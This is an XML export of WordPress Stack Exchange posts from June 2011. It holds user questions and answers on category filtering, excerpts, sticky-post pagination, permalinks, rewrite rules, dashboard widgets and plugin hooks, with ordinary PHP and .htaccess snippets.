  <row Id="20308" PostTypeId="2" ParentId="20131" CreationDate="2011-06-17T20:33:24.220" Score="1" ViewCount="" Body="&lt;p&gt;At this point in time I would just as soon not use the More Fields plugin at all, as there are native functions that can do everything you probably want with custom fields. There seems to be no good documentation afoot and the plugin site is obviously not being updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, &lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/#usage&quot; rel=&quot;nofollow&quot;&gt;try WPAlchemy&lt;/a&gt;. Quite easy to make discrete meta boxes with multiple form elements and whatever else you want to put into them, including blocks of text.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-06-17T20:33:24.220" CommentCount="1" />
  <row Id="20309" PostTypeId="2" ParentId="20198" CreationDate="2011-06-17T20:38:33.353" Score="0" ViewCount="" Body="&lt;p&gt;In &lt;code&gt;functions.php&lt;/code&gt; look for lines like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option('siteurl','http://blog.financialcoachshow.com/blueocean/institutional');&#xA;update_option('home','http://blog.financialcoachshow.com/blueocean/institutional');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Delete them!&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-06-17T20:38:33.353" />
  <row Id="20310" PostTypeId="1" CreationDate="2011-06-17T20:45:35.963" Score="2" ViewCount="59" Body="&lt;p&gt;&lt;code&gt;get_categories()&lt;/code&gt; and related functions, by default, don't return empty categories - categories with no posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that, since there may be some underlying code checking the post counts, is it possible to additionally filter that list to only include categories &lt;em&gt;that themselves&lt;/em&gt; contain posts that have a certain, specific Tag associated? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a somewhat simple alternate method of getting that information? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I had some posts with a Tag of &quot;audio&quot;, I'd like a way to use &lt;code&gt;get_categories()&lt;/code&gt; (or similar results) but only retrieve a list of categories that contained posts with that &quot;audio&quot; Tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that I may have to use the Tag ID directly. I'm just looking for the &quot;best&quot;, or most appropriate way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6289" LastActivityDate="2011-08-19T08:27:01.010" Title="When using get_categories or similar, is it possible to filter results that contain certain Tags as well?" Tags="&lt;categories&gt;&lt;tags&gt;" AnswerCount="2" />
  <row Id="20311" PostTypeId="2" ParentId="20202" CreationDate="2011-06-17T20:51:05.913" Score="1" ViewCount="" Body="&lt;p&gt;Sure, you can do this. It sounds like it would make more sense to add a protected forum to your installation though... but here's how you would do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create the function to output the contents of our Dashboard Widget&#xA;function iframe_dashboard_widget_function() {&#xA;    // Display whatever it is you want to show&#xA;    echo '&amp;lt;iframe src=&quot;http://www.htmlcommentbox.com&quot; width=&quot;100%&quot; height=&quot;300&quot; frameBorder=&quot;0&quot;&amp;gt;Browser not compatible.&amp;lt;/iframe&amp;gt;';&#xA;}&#xA;&#xA;// Create the function use in the action hook&#xA;function example_add_dashboard_widgets() {&#xA;    wp_add_dashboard_widget('iframe_dashboard_widget', 'Iframe Dashboard Widget', 'iframe_dashboard_widget_function');&#xA;}&#xA;&#xA;// Hook into the 'wp_dashboard_setup' action to register our other functions&#xA;add_action('wp_dashboard_setup', 'example_add_dashboard_widgets' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-06-17T20:51:05.913" CommentCount="2" />
  <row Id="20312" PostTypeId="1" CreationDate="2011-06-17T20:52:22.543" Score="2" ViewCount="75" Body="&lt;p&gt;Is it possible to call the_excerpt() with tags intact? I'd like to create a excerpted listing of my posts in a specific category, but I'd also like the links and formatting carried over from the post content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using the_excerpt() which otherwise works fine, however, the tags are stripped out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find a filter to place on the_excerpt() to do this, so barring that, is it possible to filter the_content() to pull the first 100 words with tags and a read more link at the end?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-06-17T21:51:18.273" Title="How to call the_excerpt() with tags or the_content() as an excerpt?" Tags="&lt;theme-development&gt;&lt;the-excerpt&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="20313" PostTypeId="1" CreationDate="2011-06-17T21:11:51.800" Score="3" ViewCount="81" Body="&lt;p&gt;There will be many people commenting on a post. So, when a commentator visits the post, he should be able to see 'only' his own comment(s).Post author can see all comments only on his own post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this in WordPress?&lt;/p&gt;&#xA;" OwnerUserId="6291" LastActivityDate="2011-08-01T09:29:52.137" Title="Comment visibility" Tags="&lt;comments&gt;" AnswerCount="4" />
  <row Id="20314" PostTypeId="1" CreationDate="2011-06-17T21:35:44.413" Score="1" ViewCount="92" Body="&lt;p&gt;The following code displays 8 posts on the 1st page. On all succeeding pages however, only 7 posts are displayed. I am assuming this is because the 1st page also displays sticky posts (whereelse the succeeding pages do not).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can that problem be solved (I need 8 posts an all pages)?&lt;/li&gt;&#xA;&lt;li&gt;Alternatively, the sticky posts should be displayed on all pages, not only on the first?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;My original code:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$header_query = new WP_Query(&#xA;    'orderby=date&amp;amp;posts_per_page=7&amp;amp;paged='.$page_to_load.'&amp;amp;ignore_sticky_posts=0&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;em&gt;Implementation of Daniel Sachs' suggestion:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// query db&#xA;$header_query1 = new WP_Query(&#xA;    array('post__in' =&amp;gt; get_option('sticky_posts'), 'posts_per_page' =&amp;gt; 1));&#xA;$header_query2 = new WP_Query(&#xA;    array( 'post__not_in' =&amp;gt; get_option( 'sticky_posts' ), 'posts_per_page' =&amp;gt; 7, 'orderby' =&amp;gt; date, 'paged' =&amp;gt; $page_to_load));&#xA;&#xA;//display&#xA;getPostsFromQuery($header_query1);&#xA;getPostsFromQuery($header_query2);&#xA;&#xA;function getPostsFromQuery($header_query) {&#xA;    if ( $header_query-&amp;gt;have_posts() ) : &#xA;    // loop etc.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am still looking for a solution that  requires &lt;strong&gt;only one database access&lt;/strong&gt;? And for the alternative solution with &lt;strong&gt;sticky posts only on page 1.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6194" LastEditorUserId="6194" LastEditorDisplayName="" LastEditDate="2011-06-18T11:19:59.420" LastActivityDate="2011-08-17T16:26:00.717" Title="pagination with sticky posts" Tags="&lt;pagination&gt;" AnswerCount="2" />
  <row Id="20315" PostTypeId="2" ParentId="20312" CreationDate="2011-06-17T21:51:18.273" Score="2" ViewCount="" Body="&lt;p&gt;Actually, I just did something like this for a Drupal site. I based my truncation function on this: &lt;a href=&quot;http://snippets.dzone.com/posts/show/7125&quot; rel=&quot;nofollow&quot;&gt;Truncate text preserving HTML tags with PHP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the final version of the function at the end of the comments. The function takes its &lt;code&gt;$length&lt;/code&gt; parameter in characters, not words, but you can probably use the general rule-of-thumb of 5 characters per word to estimate, if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hook your function to the &lt;code&gt;get_the_excerpt&lt;/code&gt; filter, and you should be in pretty good shape.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-06-17T21:51:18.273" />
  <row Id="20317" PostTypeId="1" AcceptedAnswerId="24478" CreationDate="2011-06-17T22:48:20.100" Score="3" ViewCount="142" Body="&lt;p&gt;Not sure when it happened but the custom permalinks for pages on my client's Wordpress site have broken. I can fix it by reverting back to the default permalinks and then using the custom permalinks, but they break again whenever my clients edits a page. Blog posts, archives, tags, categories, and custom post types permalinks all work fine, it's only pages that 404 when using custom permalinks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site has an .htaccess file with 666 permissions with the following in the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also has mod_rewrite enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Wordpress 3.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not the plugins because I have disabled all of them and the permalinks for pages still don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="6294" LastActivityDate="2011-07-30T04:25:50.910" Title="Broken wordpress permalinks on pages only" Tags="&lt;permalinks&gt;&lt;pages&gt;" AnswerCount="3" CommentCount="9" />
  <row Id="20318" PostTypeId="2" ParentId="15688" CreationDate="2011-06-17T23:12:36.907" Score="0" ViewCount="" Body="&lt;p&gt;I host a website with ~200 users (&lt;a href=&quot;http://chelseadegreeshow.org/2011/&quot; rel=&quot;nofollow&quot;&gt;chelseadegreeshow.org/2011&lt;/a&gt;), and this was really important to me - seeing all the posts (even if unable to edit them) simply confuses the users.  I added the function, and so far it looks perfect.  I'm running WP3.1.2.  So thank you! &lt;/p&gt;&#xA;" OwnerUserId="6295" LastActivityDate="2011-06-17T23:12:36.907" />
  <row Id="20320" PostTypeId="1" CreationDate="2011-06-17T23:36:39.980" Score="0" ViewCount="93" Body="&lt;p&gt;I tried to make a change to my &lt;code&gt;header.php&lt;/code&gt; file today, but when I uploaded the file to the server, the change wasn't there. I tried adding random characters to the &lt;code&gt;header.php&lt;/code&gt; file and &lt;code&gt;sidebar.php&lt;/code&gt; file to see if maybe it was the code I was trying to add, but those didn't show up either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I found doing some research I tried disabling all of my plugins, deleting the WordPress cache folder, and clearing my browser's cache.  None of that worked.  I also read that a change in the CSS file could have resulted in a duplicate theme, but there is still only one theme showing up in the &quot;Theme&quot; menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that WordPress is reading template files from a completely different location than the theme folder.  If I pull the header.php file back off of the server, after uploading my changed copy, the changes are still there. I even completely deleted my header.php file on the server, but it still showed up as if it was there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I built the theme, I did so in a test installation in a subdirectory.  So I deleted the theme files from that subdirectory as well, but the header still showed up without the changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, this may or may not be related, but I'm also missing the Editor option under the Appearance tab in the left hand menu in the WordPress admin area.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For reference, I was trying to add the image definition for the Facebook &quot;like&quot; button into my header.  I have a correct version of the &lt;code&gt;header.php&lt;/code&gt; file uploaded to my server, in case you want to look for the code there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;image_src&quot; href=&quot;http://www.dvorakdesigns.com/wp-content/themes/dvorak-designs-3/images/facebook-share-image.png&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WordPress version is 3.1.3, and it is self-hosted on my own server.&lt;br&gt;&#xA;My website is &lt;a href=&quot;http://www.dvorakdesigns.com&quot; rel=&quot;nofollow&quot;&gt;http://www.dvorakdesigns.com&lt;/a&gt;, and the whole website is built on WordPress.&lt;/p&gt;&#xA;" OwnerUserId="5935" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-18T00:19:47.623" LastActivityDate="2011-06-18T00:19:47.623" ClosedDate="2011-06-18T07:43:29.183" Title="WordPress not reading correct header.php file" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;header&gt;" CommentCount="11" FavoriteCount="1" />
  <row Id="20321" PostTypeId="1" CreationDate="2011-06-18T00:46:00.163" Score="2" ViewCount="94" Body="&lt;p&gt;I'm trying to create an array of images for a slideshow gallery script, so need to separate the images from the post loop - any ideas of the best way to achieve this and make it easy to add images? &#xA;I can use a script to grab attachments (see below) but it seems a bit messy as: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;image uploaded appear in the post text area and then meed to be deleted otherwise there is duplication.&lt;/li&gt;&#xA;&lt;li&gt;you can't delete and image except by going into the media library and deleting it there. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the better option be to use something like the more fields plug-in and create multiple text fields to post the urls of photos in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So they use the media library to upload images and grab the urls to put in the post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'm trying to get a simple scenario where they just upload the images in one go as a gallery or individual images, write their gallery description text, and save.  &lt;/p&gt;&#xA;" OwnerUserId="6078" LastActivityDate="2011-08-19T07:42:06.410" Title="Separate attachment images from post loop" Tags="&lt;images&gt;&lt;attachments&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="20322" PostTypeId="1" AcceptedAnswerId="27156" CreationDate="2011-06-18T02:17:59.303" Score="3" ViewCount="143" Body="&lt;p&gt;Not sure if this is possible, but bear with me.  I think I am halfway there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First a little background:  I'm using the build in hierarchy in WordPress to form relationships between post types.  I have a post type called series that holds info on a TV series.  I have another post type called content that has info on specific episodes and I use the built in post_parent field on the posts data table to point to a series.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, I'm trying to do a rewrite/permalink structure similar to this for content:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://website.com/%series-name%/%content-type%/%postname%&quot; rel=&quot;nofollow&quot;&gt;http://website.com/%series-name%/%content-type%/%postname%&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;content-type is a taxonomy attached to content that has a few terms; episode, movie and special.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea to prevent rewrite collisions was to use this code, inspired by a previous question I had asked &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19717/custom-permalinks-for-custom-post-type-archives/19720#19720&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'rewrite_rules_array', 'content_rewrite_rules',10,1);&#xA;function content_rewrite_rules( $rules ) {&#xA;        $custom_rules = array();&#xA;        $type_terms = get_terms('veda_content_type', array('hide_empty'=&amp;gt;false));&#xA;        if(!is_wp_error($type_terms) &amp;amp;&amp;amp; sizeof($type_terms) &amp;gt; 0) {&#xA;            foreach ($type_terms as $term) {&#xA;                $custom_rules['([^/]+)/'.$term-&amp;gt;slug. '/([^/]+)/?$'] = 'index.php?post_type=veda_content&amp;amp;series_name=$matches[1]&amp;amp;pagename=$matches[2]';&#xA;            }&#xA;        }&#xA;&#xA;        return array_merge($custom_rules , $rules);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the rewrite analyzer, it seems that it sorta works, except it shows that the series_name query_var is crossed out in red and I'm not sure what that means.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/8bhhC.jpg&quot; alt=&quot;Rewrite 1&quot;&gt;&#xA;My question is: is there another, more efficient way to create the permalink that I want?  Also, what the cross out mean? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  I'm trying to see if the rewrite works and my server is giving me bad request errors&lt;/p&gt;&#xA;" OwnerUserId="2234" LastEditorUserId="2234" LastEditorDisplayName="" LastEditDate="2011-06-20T00:25:23.950" LastActivityDate="2011-08-29T02:46:13.230" Title="Help with a TV series Rewrite structure" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" />
  <row Id="20323" PostTypeId="2" ParentId="20314" CreationDate="2011-06-18T02:42:23.637" Score="0" ViewCount="" Body="&lt;p&gt;I'd suggest using two queries, one for sticky posts, another for all the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array('post__in' =&amp;gt; get_option('sticky_posts'), posts_per_page =&amp;gt; 1));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then query all the other posts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'post__not_in' =&amp;gt; get_option( 'sticky_posts' ), posts_per_page =&amp;gt; 7, orderby =&amp;gt; date, paged =&amp;gt; '.$page_to_load.'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this should do it.&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-18T02:42:23.637" CommentCount="5" />
  <row Id="20324" PostTypeId="1" CreationDate="2011-06-18T03:28:44.860" Score="1" ViewCount="41" Body="&lt;p&gt;Is there a plugin or snippet that would:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an email input form to each post     &lt;/li&gt;&#xA;&lt;li&gt;Send a predefined message when new media (or attachments) has been uploaded for that post only&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The requested functionality here is different from other plugins I am aware of because it targets only the end user and only on new media upload (as compared to comments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight at all would be helpful!&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-18T03:28:44.860" Title="Is email post notify visitor on new media upload possible?" Tags="&lt;media&gt;&lt;notifications&gt;" />
  <row Id="20325" PostTypeId="2" ParentId="7766" CreationDate="2011-06-18T03:33:21.530" Score="1" ViewCount="" Body="&lt;p&gt;This is what I use: &lt;a href=&quot;http://wpebooks.com/networks/&quot; rel=&quot;nofollow&quot;&gt;Networks PLUS&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-18T03:33:21.530" />
  <row Id="20326" PostTypeId="1" AcceptedAnswerId="20370" CreationDate="2011-06-18T03:52:06.750" Score="2" ViewCount="82" Body="&lt;p&gt;&lt;strong&gt;REQUIRED:&lt;/strong&gt; Comments are displayed as &quot;Off&quot; while they aren't in wp-admin. Comment form is not displayed in these cases, while it is when a unit test post already has comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have installed the &lt;strong&gt;Test data&lt;/strong&gt; . and on some  &lt;strong&gt;post&lt;/strong&gt; and &lt;strong&gt;comment test post&lt;/strong&gt; pages. these pages had some comments. and  there is also a Comment form  under all the comments. why it notices me,&quot;Comment form is not displayed in these cases, while it is when a unit test post already has comments.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;comments are displayed as &quot;Off&quot; while they aren't in wp-admin, what's this meaning? how to correct it?&lt;/p&gt;&#xA;" OwnerUserId="4031" LastEditorUserId="4031" LastEditorDisplayName="" LastEditDate="2011-06-18T13:55:06.943" LastActivityDate="2011-06-18T21:26:55.673" Title="what's meaning of it when submit a theme?" Tags="&lt;theme-development&gt;&lt;wordpress.org&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="20327" PostTypeId="1" AcceptedAnswerId="20335" CreationDate="2011-06-18T04:13:34.190" Score="1" ViewCount="91" Body="&lt;p&gt;&lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/plugin_action_links_%7B%24plugin_file%7D&quot; rel=&quot;nofollow&quot;&gt;http://adambrown.info/p/wp_hooks/hook/plugin_action_links_%7B$plugin_file%7D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Says the hook is deprecated.  However, the &lt;a href=&quot;http://mobile.adambrown.info/p/wp_hooks/hook/%7B%24prefix%7Dplugin_action_links_%7B%24plugin_file%7D&quot; rel=&quot;nofollow&quot;&gt;{$prefix}plugin_action_hook_{$plugin_file}&lt;/a&gt; is not.  I poked around the &lt;code&gt;wp-admin/includes/class-wp-plugins-list-table.php&lt;/code&gt; file for the hook, and found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$actions = apply_filters( $prefix . &quot;plugin_action_links_$plugin_file&quot;, $actions, $plugin_file, $plugin_data, $context );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$prefix&lt;/code&gt; is defined a few lines above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prefix = $screen-&amp;gt;is_network ? 'network_admin_' : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I was able to get my add_filter call to &lt;code&gt;plugin_actions_row_{$plugin_file}&lt;/code&gt; to work, I'm assuming the filter hook is still there. Well, sort of: the filter is still available as it's not a network admin screen.  Correct? And one could use...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'network_admin_plugin_action_links_{$plugin_file}', 'do_something' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to put a link into the network's plugin screen?&lt;/p&gt;&#xA;" OwnerUserId="6035" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-18T11:09:02.050" LastActivityDate="2011-06-18T11:09:02.050" Title="plugin_action_links Filter Hook Deprecated?" Tags="&lt;plugins&gt;&lt;add-filter&gt;" AnswerCount="1" />
  <row Id="20328" PostTypeId="1" AcceptedAnswerId="20330" CreationDate="2011-06-18T04:38:34.063" Score="1" ViewCount="80" Body="&lt;p&gt;Having issues showing my post in separate list based on category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a static home page set my page: &quot;home&quot; and I have the blog set to my page: &quot;Inspiration&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 main categories &quot;inspiration&quot; and &quot;Portfolio&quot; and those catagories are also the titles of my menu items. So I have Home, Inspiration, and Portfolio. But when I go to portfolio it is just a page not a list of the post in the Portfolio category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no problem editing the code since the whole theme is completely custom I am just not sure what to add to make the portfolio page a blog as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the half finished site here. &lt;a href=&quot;http://www.2020mediaonline.com/wordpress&quot; rel=&quot;nofollow&quot;&gt;www.2020mediaonline.com/wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using WordPress 3.1.1. Any help would be awesome.&lt;/p&gt;&#xA;" OwnerUserId="6296" LastActivityDate="2011-06-18T06:32:42.510" Title="Seperate WordPress catagories into sepeat list on seperate pages" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="20329" PostTypeId="2" ParentId="20326" CreationDate="2011-06-18T06:22:00.513" Score="0" ViewCount="" Body="&lt;p&gt;I'll try to point you in the right direction, but I'm not 100% sure. I've only been*&quot;Stepping Into Templates&quot;* for a few months (the correct way, not just hacking others themes). I'm sure it is going to be be a conditional statement depending on whether the comments are displayed or not. Since they aren't actually stored on the page, but in their own table of the DB this should be fairly simple. It's a little late tonight/morning, but if this isn't answered by tomorrow I'll try to help you find a solution.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-18T06:22:00.513" CommentCount="1" />
  <row Id="20330" PostTypeId="2" ParentId="20328" CreationDate="2011-06-18T06:32:42.510" Score="2" ViewCount="" Body="&lt;p&gt;i can't able to understand your question,but i guess ,My answer is login as a  Wordpress Admin and select settings-&gt;Reading...In There you Select Static Page &amp;amp; Set Front Page and Post page as you want.I think you got Answer.if not means just mention what you want exactly? :)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-18T06:32:42.510" CommentCount="1" />
  <row Id="20331" PostTypeId="2" ParentId="7224" CreationDate="2011-06-18T06:42:10.907" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Importing_Content&quot; rel=&quot;nofollow&quot;&gt;Helpfull Link Here&lt;/a&gt;. I Guess it may Help you..&lt;a href=&quot;http://wordpress.org/extend/plugins/import-html-pages/&quot; rel=&quot;nofollow&quot;&gt;HTML IMPORT&lt;/a&gt;. &lt;a href=&quot;http://wordpress.org/extend/plugins/rss-import/&quot; rel=&quot;nofollow&quot;&gt;RSS IMPORT&lt;/a&gt;...But i can't sure about  WP to WP import Options.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-18T06:42:10.907" />
  <row Id="20332" PostTypeId="1" AcceptedAnswerId="20355" CreationDate="2011-06-18T06:51:37.420" Score="2" ViewCount="143" Body="&lt;p&gt;There must be a solution for this.&#xA;I am using this solution for chooosing images from media library.&#xA; &lt;a href=&quot;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THE PROBLEM:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using two meta boxes for custom post type “products”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First consists of two metafields what is for adding two addition product pictures&#xA;The second one is for creating a simple gallery for this product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of them has their own tb_show and window.send_to_editor stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that everything works fine when there are registered only one metabox – the first or the second. If there are registered both of them, the last registered via add_meta_box , brings the error in firebug “&lt;strong&gt;too much recursion”&lt;/strong&gt; when pressing “Insert into post” button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very mission critical, to have two of the metaboxes in post, to add different type of images?  Also, the default Insert image in to post should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone has a class for this because I see, the problem is if there are two original_send_to_editor functions registered in one post page.&lt;/p&gt;&#xA;" OwnerUserId="5878" LastEditorUserId="5878" LastEditorDisplayName="" LastEditDate="2011-06-18T07:05:36.577" LastActivityDate="2011-06-18T15:05:57.627" Title="Too much recursion error when chosing image from image library for two different meta boxes in one post" Tags="&lt;custom-post-types&gt;&lt;media&gt;&lt;library&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20333" PostTypeId="2" ParentId="20314" CreationDate="2011-06-18T06:55:55.397" Score="0" ViewCount="" Body="&lt;p&gt;In WP we have an option under Settings-&gt;Reading.There you will see, Blog pages show at most option(2).There you will place how much post you want to show on every page.no need to write php codings:)&#xA;I think you will Clear...&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-18T06:55:55.397" CommentCount="1" />
  <row Id="20334" PostTypeId="2" ParentId="20321" CreationDate="2011-06-18T07:09:37.830" Score="0" ViewCount="" Body="&lt;p&gt;all your upload images are saved under Media Library.You can write Image Description text at the time of a new post.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;posts-&gt;addnew-&gt;upload image-&gt;Choose media Library-&gt;select Image-&gt;Now you have more options like image(Title,Alternate Text,Caption,Description,Link URL,Alignment,Size)-&gt;Then Click Insert into post-&gt;Save All changes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I hope this is useful for you.:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-18T07:09:37.830" CommentCount="1" />
  <row Id="20335" PostTypeId="2" ParentId="20327" CreationDate="2011-06-18T07:19:45.247" Score="2" ViewCount="" Body="&lt;p&gt;Yes, both should work as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;plugin_action_links_{$plugin_file}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;network_admin_plugin_action_links_{$plugin_file}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I'm using &lt;code&gt;&quot;&lt;/code&gt; instead of &lt;code&gt;'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: The term is &lt;em&gt;deprecated&lt;/em&gt;, not depreciated.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-06-18T07:19:45.247" CommentCount="2" />
